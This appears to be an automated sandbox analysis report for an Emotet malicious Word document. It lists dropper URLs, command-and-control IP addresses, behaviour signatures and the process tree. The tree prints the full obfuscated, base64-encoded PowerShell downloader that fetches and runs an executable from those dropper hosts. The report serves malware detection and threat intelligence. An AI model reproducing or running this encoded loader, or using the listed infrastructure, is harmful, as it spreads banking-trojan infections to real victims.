Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    62s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    21/08/2020, 21:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_02673d69c148c0f8b3a70c07d8ab42ef299cffc98186d037c1eba5949eded2b4_2020-08-21__212913._doc.doc
  • Size 177KB
  • Sample200821-4vbna7vmpn
  • SHA256 02673d69c148c0f8b3a70c07d8ab42ef299cffc98186d037c1eba5949eded2b4
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://avtoshoolvsa.zt.ua/bin/N/
  • exe.dropper

    http://rootsroundup.com/css/98Y1F8/
  • exe.dropper

    http://riqam.com/wp-content/sW/
  • exe.dropper

    http://ronymotto.com/wp-content/v/
  • exe.dropper

    http://exithum.com.br/Folder_Lean_Jun/0/
  • exe.dropper

    http://schonlinepvc.com/test/dDS/
  • exe.dropper

    http://m3wealth.com/mt-content/UskDK/

Extracted

Family

  • emotet

C2

  • 137.119.36.33:80

  • 116.202.234.183:8080

  • 69.30.203.214:8080

  • 204.197.146.48:80

  • 87.106.136.232:8080

  • 153.163.83.106:80

  • 91.211.88.52:7080

  • 93.147.212.206:80

  • 222.214.218.37:4143

  • 189.212.199.126:443

  • 203.153.216.189:7080

  • 83.169.36.251:8080

  • 188.83.220.2:443

  • 104.236.246.93:8080

  • 173.62.217.22:443

  • 5.196.74.210:8080

  • 68.188.112.97:80

  • 139.130.242.43:80

  • 61.19.246.238:443

  • 24.179.13.119:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_02673d69c148c0f8b3a70c07d8ab42ef299cffc98186d037c1eba5949eded2b4_2020-08-21__212913._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1060
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABFADMANwB6AGcAagBlAD0AKAAnAFQAJwArACcAMgA0ACcAKwAnADkAagB1AHgAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBQAFwAbwBGAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAVQByAGkAVAB5AGAAUABSAGAAbwBUAGAATwBDAE8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIAJwArACcALAAnACsAJwAgAHQAJwArACcAbABzADEAJwArACcAMQAsACAAdABsAHMAJwApADsAJABJAGgAbQB0ADMAcQBqACAAPQAgACgAJwBXAGwAMAAnACsAJwByAGEAJwArACcAOAB1AGUAMAAnACkAOwAkAFEAeAAyAGkAegBjAGYAPQAoACcAUwAnACsAJwB4AGkAeQBvACcAKwAnAGoAZwAnACkAOwAkAE4AawB1AHAAZQBxAHQAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAAnACsAJwB9AE8AZgAnACsAJwBmAGkAYwBlACcAKwAnADIAMAAxACcAKwAnADkAewAwAH0AJwApAC0AZgAgACAAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAaABtAHQAMwBxAGoAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFIAbwB5AHYAbgAzAHUAPQAoACcAUgBxAHIAJwArACcANABzACcAKwAnAGoAaQAnACkAOwAkAEIAZwA4AHEAMwB2AGwAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBFAGIAYwBMAEkARQBuAHQAOwAkAFAAcwBqADAANgBkADIAPQAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AC8ALwBhAHYAJwArACcAdABvAHMAaABvACcAKwAnAG8AJwArACcAbAB2AHMAYQAuACcAKwAnAHoAdAAnACsAJwAuAHUAJwArACcAYQAvACcAKwAnAGIAaQBuAC8ATgAvACoAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwByAG8AbwB0AHMAcgBvAHUAJwArACcAbgBkAHUAJwArACcAcAAuAGMAbwBtAC8AYwBzAHMALwAnACsAJwA5ACcAKwAnADgAJwArACcAWQAxACcAKwAnAEYAJwArACcAOAAvACcAKwAnACoAaAB0AHQAcAAnACsAJwA6AC8AJwArACcALwByACcAKwAnAGkAcQAnACsAJwBhACcAKwAnAG0AJwArACcALgAnACsAJwBjACcAKwAnAG8AbQAvAHcAJwArACcAcAAtAGMAJwArACcAbwBuACcAKwAnAHQAZQBuACcAKwAnAHQALwAnACsAJwBzACcAKwAnAFcALwAqACcAKwAnAGgAdAB0AHAAOgAvAC8AcgBvAG4AJwArACcAeQBtACcAKwAnAG8AJwArACcAdAB0ACcAKwAnAG8ALgAnACsAJwBjACcAKwAnAG8AJwArACcAbQAnACsAJwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB2AC8AKgBoAHQAdABwADoALwAvAGUAJwArACcAeABpAHQAJwArACcAaAB1AG0ALgBjAG8AJwArACcAbQAnACsAJwAuACcAKwAnAGIAcgAvAEYAbwBsAGQAZQByACcAKwAnAF8AJwArACcATABlAGEAbgBfAEoAdQAnACsAJwBuAC8AMAAvACoAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8ALwBzAGMAaAAnACsAJwBvACcAKwAnAG4AbABpAG4AJwArACcAZQAnACsAJwBwACcAKwAnAHYAJwArACcAYwAuAGMAJwArACcAbwBtAC8AJwArACcAdABlACcAKwAnAHMAdAAvAGQARABTAC8AKgAnACsAJwBoACcAKwAnAHQAdAAnACsAJwBwACcAKwAnADoAJwArACcALwAvAG0AJwArACcAMwB3ACcAKwAnAGUAYQBsAHQAJwArACcAaAAuAGMAbwAnACsAJwBtAC8AbQB0AC0AYwBvAG4AJwArACcAdABlAG4AdAAvAFUAcwBrAEQAJwArACcASwAvACcAKQAuACIAcwBwAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABTAHYAdgByAHAAdABjAD0AKAAnAFUAJwArACcAbAA1AGEAJwArACcAMgBoADgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATgBvAHIAOABvAGQAbQAgAGkAbgAgACQAUABzAGoAMAA2AGQAMgApAHsAdAByAHkAewAkAEIAZwA4AHEAMwB2AGwALgAiAGQAYABvAGAAVwBuAEwATwBhAGQARgBgAGkAbABlACIAKAAkAE4AbwByADgAbwBkAG0ALAAgACQATgBrAHUAcABlAHEAdAApADsAJABJAHgAaQBmAHIAbwBqAD0AKAAnAEMAbQAnACsAJwB1AGkAdgBtAHAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAE4AawB1AHAAZQBxAHQAKQAuACIAbABFAGAATgBgAGcAdABIACIAIAAtAGcAZQAgADIAOQAxADQANAApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABOAGsAdQBwAGUAcQB0ACkAOwAkAE0AOQA1AHkAegAwAGYAPQAoACcAWAA0AGIAOQB1ACcAKwAnAHkAcgAnACkAOwBiAHIAZQBhAGsAOwAkAFUAcgA3AGIAYwBrAG0APQAoACcAUwBvAGQAMAAnACsAJwA1AGYAcQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAdgBqAGoAZABiAHgAPQAoACcAQwA1AHUAdgBoACcAKwAnADAAJwArACcAdAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Wl0ra8ue0.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Wl0ra8ue0.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1808
      • C:\Windows\SysWOW64\StorageContextHandler\KBDCAN.exe
        "C:\Windows\SysWOW64\StorageContextHandler\KBDCAN.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1600

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1048-13-0x0000000002360000-0x0000000002361000-memory.dmp
        Download

        memory/1048-15-0x000000001C400000-0x000000001C401000-memory.dmp
        Download

        memory/1048-10-0x0000000002400000-0x0000000002401000-memory.dmp
        Download

        memory/1048-11-0x000000001ADD0000-0x000000001ADD1000-memory.dmp
        Download

        memory/1048-12-0x0000000002440000-0x0000000002441000-memory.dmp
        Download

        memory/1048-16-0x000000001C510000-0x000000001C511000-memory.dmp
        Download

        memory/1048-9-0x000007FEF20F0000-0x000007FEF2ADC000-memory.dmp
        Download

        memory/1060-14-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1060-2-0x0000000008880000-0x0000000008884000-memory.dmp
        Download

        memory/1060-6-0x000000000BE70000-0x000000000BE74000-memory.dmp
        Download

        memory/1060-5-0x000000000ADF0000-0x000000000ADF4000-memory.dmp
        Download

        memory/1060-4-0x0000000006E90000-0x0000000007090000-memory.dmp
        Download

        memory/1636-24-0x000007FEF2860000-0x000007FEF2ADA000-memory.dmp
        Download

        memory/1808-19-0x0000000000230000-0x000000000023C000-memory.dmp
        Download